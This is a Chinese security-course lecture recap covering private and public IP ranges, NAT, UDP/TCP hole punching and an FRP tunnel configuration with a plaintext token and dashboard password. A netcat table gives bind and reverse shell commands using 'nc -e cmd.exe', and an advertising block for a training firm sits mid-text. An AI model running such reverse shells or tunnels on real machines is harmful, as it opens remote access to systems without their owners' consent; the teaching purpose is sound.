内网穿透&端口映射&内外网反弹 shell 回顾
内网概念
- 我们常说的内网,一般指的是非公有 IPv4 地址的网络
- 比如学校机房里的电脑一般为私有网络,家里的网络也是私有网络
私有网络的范围与划分
ipaddress | area |
---|---|
A 类地址 | 10.0.0.0~10.255.255.255 |
B 类地址 | 172.16.0.0 ~172.31.255.255 |
C 类地址 | 192.168.0.0~192.168.255.255 |
培训、环境、资料、考证
公众号:Geek极安云科
网络安全群:624032112
网络系统管理群:223627079
网络建设与运维群:870959784
移动应用开发群:548238632
短视频制作群:744125867
大数据应用开发群:962141356
物联网应用与服务群:967579409
物联网应用开发群:884879404极安云科校企合作经理VX liuliu5488233极安云科专注于技能提升,赋能
2024年广东省高校的技能提升,受赋能的客户院校均获奖!
2024年江苏省赛一二等奖前13名中,我们赋能客户占五支队伍!
2024年湖南省赛赋能三所院校均获奖!
2024年山东省赛赋能两所院校均获奖!
2024年湖北省赛赋能参赛院校九支队伍,共计斩获一等奖2项、三等奖7项!
外网概念
- 外网一般持有全球唯一的 IPv4 地址
- 比如我的腾讯云服务器:114.132.218.55
为什么要讲内外网?
- 内网 IP 可达外网 IP,与之交互
- 外网 IP 则无法直接找到内网 IP
Netcat 实验
- 内网连接内网(正、反)
- 内网连接外网(反)
- 外网连接内网(正)
- 外网连接外网(正、反)
被攻击 PC | Our PC | explanation |
---|---|---|
nc -e cmd.exe -lvnp 1234 | nc 10.10.10.1 1234 | 正向 shell |
nc -e cmd.exe 10.10.10.4 1234 | nc -lvnp 1234 | 反向 shell |
NAT 概念
网络地址转换(Network Address Translation,NAT)
NAT 是一种将私有(保留)地址转化为合法 IP 地址的转换技术
- 它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中
- NAT 可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽。
- NAT 设备自动屏蔽了非内网主机主动发起的连接
为什么要使用 NAT
IPv4 网络地址紧缺,从而出现了私有网段,来补充地址,但私有网段不可访问 internet 所以出现了 NAT 地址转换,将私有地址,转换为公网 IP 从而访问 internetNAT 的作用也就在于:将私有IP地址,转化为公网的合法 IP
NAT 实验解析
端口映射
该理论已被收录至空间安全理论
内网穿透
内网穿透,也叫 NAT 穿透
进行内网穿透的目的:使用内网穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包,不被 NAT 设备屏蔽而正确路由到内网主机
应用在身边的内网穿透技术
- 电脑两节点音频接收、转发
- …
为什么要使用内网穿透
- NAT 设备自动屏蔽了非内网主机主动发起的连接。从外网发往内网的数据包将被 NAT设备丢弃
- 位于不同 NAT 设备之后的主机之间无法直接交换信息
- 外部主机要与内网主机相互通信,必须由内网主机主动发起连接
- 虽然保护了内网主机免于来自外部网络的攻击,另一方面也为 P2P 通信带来了一定困难
穿透模拟-通信双方一台 PC 位于 NAT 之后
环境:
PC A:拥有内网 IP,能够出网(NAT 转换)
PC B:拥有公网 IP,能够直接出网
如下图一般:
- PC A 位于 NAT 之后,并有用 IP 地址和对应端口
192.168.1.100:1234
- PC B 位于 NAT 之前,并拥有 IP 地址和对应端口
218.5.18.2:1234
- PC A 出网借助 NAT 转换,公网地址为
114.5.2.3
- 由于 PC B 有一个公网 IP,所以 PC A 可以直接通过 TCP 协议连接到它的 IP 地址 ``
- 然而如果 PC B 向 PC A 主动发起连接,则不会成功
此时就需要一个公有的服务器辅助进行内网穿透
- PC A 和 PC B 向服务器发起登录请求,并保持一个 TCP 或 UDP 连接
- 服务器记录他俩的 IP 地址和端口号
这里服务器对 PC A 是记录经过 NAT 转换之后的 IP 和端口号
- 当 PC B 想连接 PC A 时,首先向服务器提出请求,服务器在收到请求后向 PC A 发出打洞命令,并讲 PC B 的 IP 地址和端口号发送给 PC A
- PC A 根据收到 IP 地址和端口号向 PC B 发起 TCP 或 UDP 连接
- 最终 PC A 和 PC B 之间便可建立数据传输通道
穿透模拟-通信双方 PC 都位于 NAT 之后
环境:
两台主机都处于内网中,拥有出网条件(NAT 转换)
如下图一般:
- PCA 位于 NAT 之后,并有用 IP 地址和对应端口
192.168.1.100:1234
- PCB 位于 NAT 之后,并拥有 IP 地址和对应端口
172.24.1.100:6000
- PCA 出网借助 NATA 转换,公网地址为
218.5.18.2:51200
- PCA 出网借助 NATB 转换,公网地址为
114.5.2.3:5000
服务器记录的 IP:端口
是 PCA 和 PCB 经过 NAT 转换之后的 IP:端口
此时,PCA 和 PCB 之间任意一方的连接请求都会被对方的 NAT 设备屏蔽
- PC A 首先向服务器提出连接请求,服务器将 PCA 的 NAT
218.5.18.2:51200
发送给 PCB,并向 PCB 发出打洞命令 - PCB 收到服务器的打洞命令后,首先向 PCA 的 NAT 地址
218.5.18.2:51200
发送一定数目的 UDP 探测包或 TCP 连接请求,然后在 NATB 上打一个方向为218.5.18.2:51200
的洞 - PCB 向服务器报告打洞完成
- 服务器收到 PCB 的报告后,将 PCB 的公网 IP 地址和端口号
114.32.4.251:5000
发送给 PCA - 此时 NATB 以及留下对应于 NATA 的
218.5.18.2:51200
洞,PCA 向114.32.4.251:5000
将不会被丢弃 (这与端口映射的原理很相似)
内网穿透原理总结
-
NAT设备(或软件)维护一个状态表,用来把内部网络的私有 IP 地址映射到外部网络的合法 IP 地址上去
-
每个包头中的 IP 地址和端口信息在 NAT 设备(或软件)中都被修改并翻译成一正确的 IP 地址发往下一级
-
当一个内网主机通过 NAT 打开一个“外出”的 TCP 或 UDP 会话时,NAPT 分配给这个会话一个公网 IP 和端口,用来接收外网的响应的数据包,并经过转换通知内部网的主机
-
这样,NAPT在
[私有IP:私有端口]
和[公网IP:公网端口]
之间建立了一个端口绑定。
应用 FRP 内网穿透技术-使 PC 达到公网可寻
FRP Server 端配置
[common]
bind_port = 7000
dashboard_port = 7500
token = qwese.
dashboard_user = admin
dashboard_pwd = qwese.
vhost_http_port = 10080
vhost_https_port = 10443
tls_enable = true
FRP Client 端配置
client 端也就是我们要端口映射的对象,这里映射为 HTTP 协议
[common]
server_addr =114.132.218.55
server_port = 7000
token = qwese.[perse.windowsPC-http2]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 9002
应用 FRP 点对点内网穿透技术-PC 达到公网可寻
http://blog.demon.ren/685.htm
后言
我自己想了一下,我没敢去看,上次那课实在是讲太烂了
我也是第一次讲课,很多地方没有讲好,这是没法避免的,所以我也尽力在让自己讲好,在改变
所有学习的过程都是这样,不一定是在安全技术上
不能说,学安全就高人一等,学艺术,学文学,学数学,学哲学就高人一等
而是我们能否在学习的过程中,保持一个学徒的心
都说人看的多了,学的多了,就知道自己的渺小了,因为眼界和想法跟以前不一样
虽然我们的课听的人少,但是我也希望能把技术和思路都尽数教给大家,虽然我们的技术不在一个层面,哈哈这是时间的问题,我相信大家总有一天说不定也能超过我
再说说为什么我们叫深蓝网络安全啊,先前我和你们坤哥创建了这么一个安全团队,但实际上就咋一个老 B 登在负责安全方面的一些技术,咋们之前本来想叫个 Perse 安全,意为恒心,希望在学习安全技术上,能够保持初心,啊不要去碰黑产对吧,同样也不要去做一些破坏他人安全和隐私的事,我们学这些说大了是为了国家网络空间安全,说小了哎,就是我想学,想装逼,想赚钱
但是我也希望能把技术和思路都尽数教给大家,虽然我们的技术不在一个层面,哈哈这是时间的问题,我相信大家总有一天说不定也能超过我
再说说为什么我们叫深蓝网络安全啊,先前我和你们坤哥创建了这么一个安全团队,但实际上就咋一个老 B 登在负责安全方面的一些技术,咋们之前本来想叫个 Perse 安全,意为恒心,希望在学习安全技术上,能够保持初心,啊不要去碰黑产对吧,同样也不要去做一些破坏他人安全和隐私的事,我们学这些说大了是为了国家网络空间安全,说小了哎,就是我想学,想装逼,想赚钱
所以我希望大家,能够多多评论和思考以及多问一些问题,并去实践我们每节课的演练过程